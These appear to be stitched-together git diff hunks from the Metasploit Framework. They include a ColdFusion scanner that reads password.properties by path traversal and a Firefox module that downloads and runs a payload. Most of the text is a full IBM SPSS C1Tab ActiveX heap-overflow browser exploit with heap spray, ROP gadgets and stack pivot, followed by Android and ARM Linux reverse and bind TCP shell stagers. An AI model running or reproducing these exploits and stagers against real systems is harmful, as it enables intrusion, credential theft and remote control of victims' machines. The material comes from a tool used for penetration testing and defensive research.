filename = "../../../../../../../../../../../../../../../opt/coldfusion9/lib/password.properties"
url = '/CFIDE/administrator/index.cfm'
# print_status("Getting index...")
res = send_request_cgi({
'uri' => url,
'method' => 'GET',
'Connection' => "keep-alive",
'Accept-Encoding' => "zip,deflate",
})
# print_status("Got back: #{res.inspect}")
return if not res
return if not res.body or not res.code
return if not res.code.to_i == 200
out, filename = fingerprint(res)
print_status("#{peer} #{out}") if out
if(out =~ /Not Vulnerable/)
print_status("#{peer} isn't vulnerable to this attack")
return
end
if(not check)
print_status("#{peer} can't be exploited (either files missing or permissions block access)")
return
end
if (datastore['CHECK'] )
print_good("#{peer} is vulnerable and most likely exploitable") if check
return
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),
@@ -102,5 +229,4 @@ class Metasploit3 < Msf::Auxiliary
p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body)
print_good("#{peer} - password.properties stored in '#{p}'")
end
end
end
@@ -17,9 +17,14 @@ class Metasploit3 < Msf::Auxiliary
super(
'Name' => 'ColdFusion Version Scanner',
'Description' => %q{
This module attempts identify various flavors of ColdFusion as well as the underlying OS
This module attempts identify various flavors of ColdFusion up to version 10
as well as the underlying OS.
},
'Author' => [ 'nebulus' ],
'Author' =>
[
'nebulus', # Original
'sinn3r' # Fingerprint() patch for Cold Fusion 10
],
'License' => MSF_LICENSE
)
end
@@ -30,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary
if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)
os = "Windows (#{response.headers['Server']})"
elsif(response.headers['Server'] =~ /Apache\//)
os = "Unix (#{response.headers['Server']})"
os = "Unix (#{response.headers['Server']})"
else
os = response.headers['Server']
end
@@ -43,7 +48,8 @@ class Metasploit3 < Msf::Auxiliary
title = $1
title.gsub!(/\s/, '')
end
return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)
return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)
out = nil
@@ -54,8 +60,12 @@ class Metasploit3 < Msf::Auxiliary
out = "Adobe ColdFusion MX7"
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2006 Adobe/)
out = "Adobe ColdFusion 8"
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ and
response.body =~ /1997\-2012 Adobe Systems Incorporated and its licensors/)
out = "Adobe ColdFusion 10"
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ or
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/)
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/ or
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1997\-2012 Adobe Systems\, Inc\. All rights reserved/)
out = "Adobe ColdFusion 9"
elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)
out = $1.split(/,/)[0]
@@ -76,8 +86,8 @@ class Metasploit3 < Msf::Auxiliary
url = '/CFIDE/administrator/index.cfm'
res = send_request_cgi({
'uri' => url,
'method' => 'GET',
'uri' => url,
'method' => 'GET',
})
return if not res or not res.body or not res.code
+13 -11
View File
@@ -149,18 +149,20 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{target_url} - Random passwords are not allowed.")
end
report_auth_info(
:host => rhost,
:port => rport,
:sname => (ssl ? 'https' : 'http'),
:user => user,
:pass => pass,
:proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}",
:source_type => "user_supplied",
:active => true
)
unless (user == "anyuser" and pass == "anypass")
report_auth_info(
:host => rhost,
:port => rport,
:sname => (ssl ? 'https' : 'http'),
:user => user,
:pass => pass,
:proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}",
:source_type => "user_supplied",
:active => true
)
end
return :abort if ([any_user,any_pass].include? :success)
return :abort if ([any_user,any_pass].include? :success)
return :next_user
else
vprint_error("#{target_url} - Failed to login as '#{user}'")
@@ -75,7 +75,8 @@ class Metasploit3 < Msf::Auxiliary
uri = normalize_uri(datastore['URI'])
res = send_request_cgi({
'uri' => uri,
'method' => 'GET'
'method' => 'GET',
'username' => Rex::Text.rand_text_alpha(8)
}, 25)
http_fingerprint({ :response => res })
rescue ::Rex::ConnectionError => e
+3 -3
View File
@@ -17,7 +17,7 @@ class Metasploit3 < Msf::Auxiliary
'Description' => %q{
This module forges DTP packets to initialize a trunk port.
},
'Author' => [ 'Spencer McIntyre <zerosteiner [at] gmail.com>' ],
'Author' => [ 'Spencer McIntyre' ],
'License' => MSF_LICENSE,
'Actions' =>
[
@@ -54,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary
def smac
@spoof_mac ||= datastore['SMAC']
@spoof_mac ||= get_mac(interface) if netifaces_implemented?
@spoof_mac ||= get_mac(datastore['INTERFACE']) if netifaces_implemented?
return @spoof_mac
end
@@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary
unless smac()
print_error 'Source MAC (SMAC) should be defined'
else
unless is_mac? smac()
unless is_mac? smac
print_error "Source MAC (SMAC) `#{smac}' is badly formatted."
else
print_status "Starting DTP spoofing service..."
View File
@@ -14,7 +14,7 @@ class Metasploit4 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow',
'Name' => 'Nginx HTTP Server 1.3.9-1.4.0 Chunked Encoding Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx.
The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by
@@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox 17.0.1 + Flash Privileged Code Injection',
'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 17.0.1 and all previous
versions, provided the user has installed Flash. No memory corruption is used.
@@ -180,11 +180,11 @@ class Metasploit3 < Msf::Exploit::Remote
x.send(null);
#{js_debug("'Payload: '+x.responseText", "")}
var file = Components.classes["@mozilla.org/file/directory_service;1"]
.getService(Components.interfaces.nsIProperties)
.get("TmpD", Components.interfaces.nsIFile);
.getService(Components.interfaces.nsIProperties)
.get("TmpD", Components.interfaces.nsIFile);
file.append('#{payload_filename(target)}');
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
.createInstance(Components.interfaces.nsIFileOutputStream);
.createInstance(Components.interfaces.nsIFileOutputStream);
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
stream.write(x.responseText, x.responseText.length);
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
@@ -195,7 +195,7 @@ class Metasploit3 < Msf::Exploit::Remote
#{chmod_code(target)}
#{js_debug("'Downloaded to: '+file.path", "")}
var process = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
.createInstance(Components.interfaces.nsIProcess);
process.init(file);
process.run(false, [], 0);
|
@@ -285,7 +285,7 @@ class Metasploit3 < Msf::Exploit::Remote
</script>
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
name="#{vars[:frame_name]}"></iframe>
name="#{vars[:frame_name]}"></iframe>
#{vars[:content]}
</body>
</html>
+1 -1
View File
@@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
'BadChars' => '',
'DisableNops' => true,
},
'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java','ruby','js','python' ],
'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java', 'ruby', 'js', 'python', 'android' ],
'Arch' => ARCH_ALL,
'Targets' => [ [ 'Wildcard Target', { } ] ],
'DefaultTarget' => 0
@@ -0,0 +1,479 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => NormalRanking,
:classid => "{24E04EBF-014D-471F-930E-7654B1193BA9}",
:method => "TabCaption"
})
def initialize(info={})
super(update_info(info,
'Name' => "IBM SPSS SamplePower C1Tab ActiveX Heap Overflow",
'Description' => %q{
This module exploits a heap based buffer overflow in the C1Tab ActiveX control,
while handling the TabCaption property. The affected control can be found in the
c1sizer.ocx component as included with IBM SPSS SamplePower 3.0. This module has
been tested successfully on IE 6, 7 and 8 on Windows XP SP3 and IE 8 on Windows 7
SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun', # Vulnerability discovery
'juan vazquez' # Metasploit
],
'References' =>
[
[ 'CVE', '2012-5946' ],
[ 'OSVDB', '92845' ],
[ 'BID', '59559' ],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21635476' ]
],
'Payload' =>
{
'Space' => 991,
'BadChars' => "\x00",
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# IBM SPSS SamplePower 3.0 / c1sizer.ocx 8.0.20071.39
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3',
{
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c08
}
],
[ 'IE 7 on Windows XP SP3',
{
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c08
}
],
[ 'IE 8 on Windows XP SP3',
{
'Offset' => '0x5f4',
'Ret' => 0x0c0c0c0c,
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
}
],
[ 'IE 8 on Windows 7',
{
'Offset' => '0x5f4',
'Ret' => 0x0c0c0c0c,
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
}
]
],
'Privileged' => false,
'DisclosureDate' => "Apr 26 2013",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
print_status("target not found #{agent}")
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
# Land the payload at 0x0c0c0c0c
# For IE 6, 7, 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end
def rop_chain
# gadgets from c1sizer.ocx
rop_gadgets =
[
0x0c0c0c10,
0x10026984, # ADD ESP,10 # POP EDI # POP ESI # POP EBX # POP EBP # RETN # stackpivot to the controlled stack
0x100076f1, # pop eax # ret
0x10029134, # &VirtualAllox
0x1001b41e, # jmp [eax]
0x0c0c0c34, # ret address
0x0c0c0c0c, # lpAddress
0x00001000, # dwSize
0x00001000, # flAllocationType
0x00000040 # flProtect
].pack("V*")
return rop_gadgets
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
if (t.name =~ /IE 6/ or t.name =~ /IE 7/)
fake_memory = [
0x0c0c0c10,
0x0c0c0c14
].pack("V*")
return fake_memory + code
end
return rop_chain + stack_pivot + code
end
# Objects filling aren't randomized because
# this combination make exploit more reliable.
def fake_object(size)
object = "B" * 8 # metadata
object << "D" * size # fake object
return object
end
def stack_pivot
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
return pivot
end
# Check the memory layout documentation at the end of the module
def overflow_xp
buf = rand_text_alpha(0x10000)
# Start to overflow
buf << fake_object(0x40)
buf << fake_object(0x30)
buf << fake_object(0x30)
buf << fake_object(0x40)
buf << fake_object(0x10)
buf << fake_object(0x10)
buf << fake_object(0x20)
buf << fake_object(0x10)
buf << fake_object(0x30)
buf << "B" * 0x8 # metadata chunk
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
end
# Check the memory layout documentation at the end of the module
def overflow_xp_ie8
buf = [
junk, # padding
0x1001b557, # pop eax # c1sizer.ocx
0x0c0c0c14, # eax
0x10028ad8 # xchg eax,esp # c1sizer.ocx # stackpivot to the heap
].pack("V*")
buf << rand_text_alpha(0x10000-16)
# Start to overflow
buf << "B" * 0x8 # metadata chunk
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
end
# Check the memory layout documentation at the end of the module
def overflow_w7
buf = [
junk, # padding
0x1001b557, # pop eax # c1sizer.ocx
0x0c0c0c14, # eax
0x10028ad8 # xchg eax,esp # c1sizer.ocx # stackpivot to the heap
].pack("V*")
buf << rand_text_alpha(0x10000-16)
# Start to oveflow
buf << fake_object(0x3f8)
buf << fake_object(0x1a0)
buf << fake_object(0x1e0)
buf << fake_object(0x1a0)
buf << fake_object(0x1e0)
buf << fake_object(0x1a0)
buf << "B" * 0x8 # metadata chunk
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
end
def get_overflow(t)
if t.name =~ /Windows 7/
return overflow_w7
elsif t.name =~ /Windows XP/ and t.name =~ /IE 8/
return overflow_xp_ie8
elsif t.name =~ /Windows XP/
return overflow_xp
end
end
# * 15 C1TAB objects are used to defragement the heap, so objects are stored after the vulnerable buffer.
# * Based on empirical tests, 5th C1TAB comes after the vulnerable buffer.
# * Using the 7th CITAB is possible to overflow itself and get control before finishing the set of the
# TabCaption property.
def trigger_w7
target = rand_text_alpha(5 + rand(3))
target2 = rand_text_alpha(5 + rand(3))
target3 = rand_text_alpha(5 + rand(3))
target4 = rand_text_alpha(5 + rand(3))
target5 = rand_text_alpha(5 + rand(3))
target6 = rand_text_alpha(5 + rand(3))
target7 = rand_text_alpha(5 + rand(3))
target8 = rand_text_alpha(5 + rand(3))
target9 = rand_text_alpha(5 + rand(3))
target10 = rand_text_alpha(5 + rand(3))
target11 = rand_text_alpha(5 + rand(3))
target12 = rand_text_alpha(5 + rand(3))
target13 = rand_text_alpha(5 + rand(3))
target14 = rand_text_alpha(5 + rand(3))
target15 = rand_text_alpha(5 + rand(3))
objects = %Q|
<object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target2}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target3}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target4}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target5}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target6}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target7}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target8}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target9}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target10}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target11}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target12}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target13}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target14}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target15}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
return objects, target7
end
# * Based on empirical test, the C1TAB object comes after the vulnerable buffer on memory, so just
# an object is sufficient to overflow itself and get control execution.
def trigger_xp
target = rand_text_alpha(5 + rand(3))
objects = %Q|
<object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
return objects, target
end
def get_trigger(t)
if t.name =~ /Windows 7/
return trigger_w7
elsif t.name =~ /Windows XP/
return trigger_xp
end
end
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
buf = get_overflow(my_target)
objects, target_object = get_trigger(my_target)
html = %Q|
<html>
<head>
</head>
<body>
#{objects}
<script>
CollectGarbage();
#{js}
#{target_object}.Caption = "";
#{target_object}.TabCaption(0) = "#{buf}";
</script>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
[*] Windows XP / ie6 & ie7 memory layout at oveflow, based on empirical test
Heap entries for Segment01 in Heap 01ca0000
address: psize . size flags state (requested size)
025c0000: 00000 . 00040 [01] - busy (40)
025c0040: 00040 . 10008 [01] - busy (10000)
025d0048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer
025e0050: 10008 . 00048 [01] - busy (40)
025e0098: 00048 . 00038 [01] - busy (30)
025e00d0: 00038 . 00038 [01] - busy (30)
025e0108: 00038 . 00048 [01] - busy (40)
025e0150: 00048 . 00018 [01] - busy (10)
025e0168: 00018 . 00018 [01] - busy (10)
025e0180: 00018 . 00028 [01] - busy (20)
025e01a8: 00028 . 00018 [01] - busy (10)
025e01c0: 00018 . 00010 [00]
025e01d0: 00010 . 00038 [01] - busy (30)
025e0208: 00038 . 001e8 [01] - busy (1e0) // Vulnerable object
025e03f0: 001e8 . 001a8 [01] - busy (1a0)
[*] Windows XP / ie8 memory layout at oveflow, based on empirical test
Heap entries for Segment01 in Heap 03350000
address: psize . size flags state (requested size)
03840000: 00000 . 00040 [01] - busy (40)
03840040: 00040 . 10008 [01] - busy (10000)
03850048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer
03860050: 10008 . 001e8 [01] - busy (1e0) // Vulnerable object
03860238: 001e8 . 001a8 [01] - busy (1a0)
038603e0: 001a8 . 00078 [00]
03860458: 00078 . 00048 [01] - busy (40)
038604a0: 00048 . 00048 [01] - busy (40)
038604e8: 00048 . 00618 [01] - busy (610)
03860b00: 00618 . 10208 [01] - busy (10200)
03870d08: 10208 . 032f8 [10]
03874000: 000cc000 - uncommitted bytes.
[*] windows 7 / ie8 memory layout at oveflow, based on empirical test
03240000: 00000 . 00040 [101] - busy (3f)
03240040: 00040 . 10008 [101] - busy (10000)
03250048: 10008 . 10008 [101] - busy (10000) # Overwritten buffer
03260050: 10008 . 00400 [101] - busy (3f8) Internal
03260450: 00400 . 001a8 [101] - busy (1a0)
032605f8: 001a8 . 001e8 [101] - busy (1e0)
032607e0: 001e8 . 001a8 [101] - busy (1a0)
03260988: 001a8 . 001e8 [101] - busy (1e0)
03260b70: 001e8 . 001a8 [101] - busy (1a0)
03260d18: 001a8 . 001e8 [101] - busy (1e0) # Our vulnerable object, target7, seems reliable according to testing
03260f00: 001e8 . 001a8 [101] - busy (1a0)
032610a8: 001a8 . 001e8 [101] - busy (1e0)
03261290: 001e8 . 001a8 [101] - busy (1a0)
03261438: 001a8 . 001e8 [101] - busy (1e0)
03261620: 001e8 . 001a8 [101] - busy (1a0)
032617c8: 001a8 . 001e8 [101] - busy (1e0)
[*] Overflow:
.text:100146E1 push eax ; lpString2
.text:100146E2 push CaptionlpBuffer ; lpString1
.text:100146E8 call ds:lstrcatA ; Heap Overflow when setting a new CaptionString > 0x10000
[*] Get Control after overflow:
.text:1001A40D call overflow_sub_1001469E ; Overflow happens here
.text:1001A412 mov ecx, edi ; edi points to the overflowed object, then ecx (this)
.text:1001A414 call get_control_sub_100189EC ; Get profit from the overflowed object here
.text:100189EC get_control_sub_100189EC proc near ; CODE XREF: sub_1001A1A9+B6p
.text:100189EC ; SetTabCaption_sub_1001A2EC+128p ...
.text:100189EC
.text:100189EC var_4 = dword ptr -4
.text:100189EC
.text:100189EC push ebp
.text:100189ED mov ebp, esp
.text:100189EF push ecx
.text:100189F0 mov eax, [ecx+10h] # ecx points to controlled memory, so eax can be controlled
.text:100189F3 and [ebp+var_4], 0
.text:100189F7 test eax, eax
.text:100189F9 jz short locret_10018A23
.text:100189FB mov ecx, [eax] # eax can be controlled and make it point to sprayed mem, ecx can be controlled
.text:100189FD lea edx, [ebp+var_4]
.text:10018A00 push edx
.text:10018A01 push offset unk_1002B628
.text:10018A06 push eax
.text:10018A07 call dword ptr [ecx] # woot!
=end
@@ -6,6 +6,8 @@
##
require 'msf/core'
require 'rex/ole'
require 'rex/ole/util'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
-26
View File
@@ -1,26 +0,0 @@
#!/usr/bin/env ruby -I../lib
$:.unshift(File.join(File.dirname(__FILE__), '..', 'lib'))
require 'test/unit'
require 'encoders/generic/none.rb.ut'
require 'encoders/x86/call4_dword_xor.rb.ut'
require 'encoders/x86/countdown.rb.ut'
require 'encoders/x86/fnstenv_mov.rb.ut'
require 'encoders/x86/jmp_call_additive.rb.ut'
class Rex::TestSuite
def self.suite
suite = Test::Unit::TestSuite.new("Rex")
# General
suite << Msf::Encoders::Generic::None::UnitTest.suite
suite << Msf::Encoders::X86::Call4Dword::UnitTest.suite
suite << Msf::Encoders::X86::Countdown::UnitTest.suite
suite << Msf::Encoders::X86::FnstenvMov::UnitTest.suite
suite << Msf::Encoders::X86::JmpCallAdditive::UnitTest.suite
return suite;
end
end
@@ -0,0 +1,84 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Dalvik
def initialize(info = {})
super(merge_info(info,
'Name' => 'Dalvik Reverse TCP Stager',
'Description' => 'Connect back stager',
'Author' => 'timwr',
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseTcp,
'Stager' => {'Payload' => ""}
))
end
def string_sub(data, placeholder, input)
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
end
def generate_jar(opts={})
jar = Rex::Zip::Jar.new
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST']
string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT']
jar.add_file("classes.dex", fix_dex_header(classes))
files = [
[ "AndroidManifest.xml" ],
[ "res", "drawable-mdpi", "icon.png" ],
[ "res", "layout", "main.xml" ],
[ "resources.arsc" ]
]
jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
jar.build_manifest
x509_name = OpenSSL::X509::Name.parse(
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
)
key = OpenSSL::PKey::RSA.new(1024)
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = 1
cert.subject = x509_name
cert.issuer = x509_name
cert.public_key = key.public_key
# Some time within the last 3 years
cert.not_before = Time.now - rand(3600*24*365*3)
# From http://developer.android.com/tools/publishing/app-signing.html
# """
# A validity period of more than 25 years is recommended.
#
# If you plan to publish your application(s) on Google Play, note
# that a validity period ending after 22 October 2033 is a
# requirement. You can not upload an application if it is signed
# with a key whose validity expires before that date.
# """
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
jar.sign(key, cert, [cert])
jar
end
end
@@ -0,0 +1,120 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
###
#
# BindTcp
# -------
#
# Linux bind TCP stager.
#
###
module Metasploit3
include Msf::Payload::Stager
def initialize(info = {})
super(merge_info(info,
'Name' => 'Bind TCP Stager',
'Description' => 'Listen for a connection',
'Author' => 'nemo <nemo[at]felinemenace.org>',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Handler' => Msf::Handler::BindTcp,
'Stager' =>
{
'Offsets' =>
{
'LPORT' => [ 226, 'n' ],
},
'Payload' =>
[
0xe59f70d4, # ldr r7, [pc, #212]
0xe3a00002, # mov r0, #2
0xe3a01001, # mov r1, #1
0xe3a02006, # mov r2, #6
0xef000000, # svc 0x00000000
0xe1a0c000, # mov ip, r0
0xe2877001, # add r7, r7, #1
0xe28f10b0, # add r1, pc, #176
0xe3a02010, # mov r2, #16
0xef000000, # svc 0x00000000
0xe2877002, # add r7, r7, #2
0xe1a0000c, # mov r0, ip
0xef000000, # svc 0x00000000
0xe2877001, # add r7, r7, #1
0xe1a0000c, # mov r0, ip
0xe0411001, # sub r1, r1, r1
0xe1a02001, # mov r2, r1
0xef000000, # svc 0x00000000
0xe1a0c000, # mov ip, r0
0xe24dd004, # sub sp, sp, #4
0xe2877006, # add r7, r7, #6
0xe1a0100d, # mov r1, sp
0xe3a02004, # mov r2, #4
0xe3a03000, # mov r3, #0
0xef000000, # svc 0x00000000
0xe59d1000, # ldr r1, [sp]
0xe59f3070, # ldr r3, [pc, #112]
0xe0011003, # and r1, r1, r3
0xe3a02001, # mov r2, #1
0xe1a02602, # lsl r2, r2, #12
0xe0811002, # add r1, r1, r2
0xe3a070c0, # mov r7, #192
0xe3e00000, # mvn r0, #0
0xe3a02007, # mov r2, #7
0xe59f3054, # ldr r3, [pc, #84]
0xe1a04000, # mov r4, r0
0xe3a05000, # mov r5, #0
0xef000000, # svc 0x00000000
0xe2877063, # add r7, r7, #99
0xe1a01000, # mov r1, r0
0xe1a0000c, # mov r0, ip
0xe3a03000, # mov r3, #0
0xe59d2000, # ldr r2, [sp]
0xe2422ffa, # sub r2, r2, #1000
0xe58d2000, # str r2, [sp]
0xe3520000, # cmp r2, #0
0xda000002, # ble 811c <last>
0xe3a02ffa, # mov r2, #1000
0xef000000, # svc 0x00000000
0xeafffff7, # b 80fc <loop>
0xe2822ffa, # add r2, r2, #1000
0xef000000, # svc 0x00000000
0xe1a0f001, # mov pc, r1
0x5c110002, # .word 0x5c110002
0x00000000, # .word 0x00000000
0x00000119, # .word 0x00000119
0xfffff000, # .word 0xfffff000
0x00001022 # .word 0x00001022
].pack("V*")
}
))
end
def handle_intermediate_stage(conn, payload)
print_status("Transmitting stage length value...(#{payload.length} bytes)")
address_format = 'v'
# Transmit our intermediate stager
conn.put( [ payload.length ].pack(address_format) )
Rex::ThreadSafe.sleep(0.5)
return true
end
end
@@ -0,0 +1,113 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
###
#
# ReverseTcp
# ----------
#
# Linux reverse TCP stager.
#
###
module Metasploit3
include Msf::Payload::Stager
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse TCP Stager',
'Description' => 'Connect back to the attacker',
'Author' => 'nemo <nemo[at]felinemenace.org>',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Handler' => Msf::Handler::ReverseTcp,
'Stager' =>
{
'Offsets' =>
{
'LPORT' => [ 182, 'n' ],
'LHOST' => [ 184, 'ADDR' ],
},
'Payload' =>
[
0xe59f70b4, # ldr r7, [pc, #180]
0xe3a00002, # mov r0, #2
